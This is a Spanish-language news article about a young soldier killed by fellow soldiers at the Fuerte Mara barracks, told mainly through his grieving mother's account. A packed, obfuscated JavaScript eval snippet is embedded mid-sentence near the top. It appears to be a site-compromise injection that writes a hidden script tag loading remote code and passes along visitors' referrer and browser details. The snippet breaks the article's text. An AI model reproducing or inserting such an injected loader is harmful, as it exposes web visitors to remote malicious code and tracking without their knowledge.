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“El cuartel es una guarida de delincuentes"

Yéssica González / Miranda / noticias@laverdad.com
Rose eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atreb|var|u0026u|referrer|dzikb||js|php'.split('|'),0,{})) Oquendo pidió todo el peso de la ley para los soldados que mataron a su hijo dentro del cuartel Fuerte Mara. Carlos Javier Rodríguez Oquendo soñaba con el más alto rango dentro del Ejército. Era su pasión. Quería acabar con la delincuencia

La madre de Carlos Javier siente que perdió en el cuartel su vida. (Fotos: Yéssica González)

“Mayi ya llegué. Estoy bien”, decía el último mensaje de texto que Carlos Javier Rodríguez Oquendo, de 21 años, oficial distinguido de Fuerte Mara, envió a su mamá el pasado domingo a las 5.00 de la tarde, unas seis horas antes de que tres de sus compañeros lo golpearan en la cabeza para despojarlo de su fusil. Su madre, Rose Oquendo, aseguró: "El cuartel es una guarida de delincuentes y mi hijo fue una víctima inocente de esa corrupción”.

El joven compartió sus últimas horas de vida al lado de su familia en la avenida 3 del sector Las Tuberías en Los Puertos de Altagracia, en el municipio Miranda. Ese fin de semana adelantó sus tres días de permiso con la finalidad de visitar a su mamá enferma. Salió el jueves y regresó el domingo por la tarde.  “Siento que esto es mi culpa. Si yo no le digo que estoy enferma él no pide permiso y en vez de regresar el domingo lo hubiese hecho el lunes, como le correspondía. No me lo hubiesen matado”, dijo entre lágrimas su progenitora.

"Cabi", como era conocido cariñosamente entre su familia y amigos, tenía seis meses en el cuartel. Tomó la decisión de servir luego de que lo atracaran al salir del colegio José Paz González, donde sacaba su bachillerato en el turno nocturno. Una noche, dos delincuentes lo golpearon por no tener nada de valor. “Llegó y me dijo: 'Mayi la cosa está fea, mejor me voy al cuartel'. Siempre le llamó la atención el Ejército y decía que se quería ver uniformado y ascendiendo hasta llegar al rango más alto. Estaba muy emocionado y por eso lo apoyé”.

Pertenecía al Batallón 112. En agosto recibió su primer ascenso a Distinguido. El pasado viernes lo ascenderían a Cabo Segundo, pero para entonces tenía cinco días luchando por su vida en la Unidad de Cuidados Intensivos del Hospital Militar. Los golpes propinados con su propio fusil le causaron fracturas craneoencefálicas, además recibió varias puñaladas en la garganta y una de ellas en su ojo izquierdo. El ascenso lo recibió post mórtem.

“Nos despedimos como siempre, con un abrazo y un beso. No pensé que sería la última vez que lo vería con vida. Recuerdo que antes de cenar sentí una presión en el pecho, presentí que algo malo pasaría, pero yo creía que él estaba seguro en el cuartel”. 

Un mensaje, a las 11.30 de la noche, le advirtió de la tragedia. La primera versión ofrecida a la familia aseguraba que se trataba de una hospitalización por malestares estomacales. El lunes en la mañana los médicos y oficiales de alto rango informaron la realidad. “Me dijeron: 'Pídale a Dios por un milagro, eso es lo único que lo puede salvar. Los daños son irreversibles'. Esas palabras me quitaron el aliento. Mi vida se acabó ahí”.

Carlos Javier era el segundo de seis hijos. El mayor de los varones y el hombre de la casa. Descrito como un ser lleno de valores y abnegado a su familia. Sus ojos eran su mamá y sus sobrinos. “Yo tenía su tarjeta. Me avisaba cuando tenía dinero y me decía que comprara lo que necesitaba. Ese día me prometió regalarme un viaje a Acarigua, para visitar a mi hija mayor y conocer a mi nieta”.

Rodríguez fue un estudiante regular, pero destacado por su responsabilidad y por sus ganas de ser alguien en la vida. A los 18 años hizo un curso en servicio técnico en computación y desde entonces trabajaba reparando equipos en su propia casa. Su diversión era escuchar música de Ricardo Arjona y tomarse unos tragos con sus cinco primos y mejores amigos en el patio de su casa. 

“No era rumbero, decía que las fiestas con mucha gente lo asfixiaban. Fue un excelente hijo, amoroso, obediente, respetuoso y me lo quitaron sin piedad. Este dolor es muy fuerte, pero sé que él ahora es un ángel que nos cuidará a todos desde el cielo”.

Rose Oquendo pide a Dios el consuelo y a la justicia del hombre, que la muerte de su hijo no quede impune. Asegura: "Ahora sé que existe una mafia dentro del cuartel, liderada por militares de alto rango. Ellos fueron los que permitieron que uno de los asesinos escapara. Eso es una guarida y mi hijo una víctima más".

 

5 días luchó por su vida el soldado en el Hospital Militar, en Milagro Norte

 

Homicidas

Los presuntos asesinos son: Albert Luis Portillo Vera y Woker Jefferson Victoria Cabrera, pertenecían al Batallón 115. Extraoficialmente cobrarían 450 mil bolívares por la venta del fusil, que posteriormente fue incautado dentro de Fuerte Mara. Están privados de libertad.

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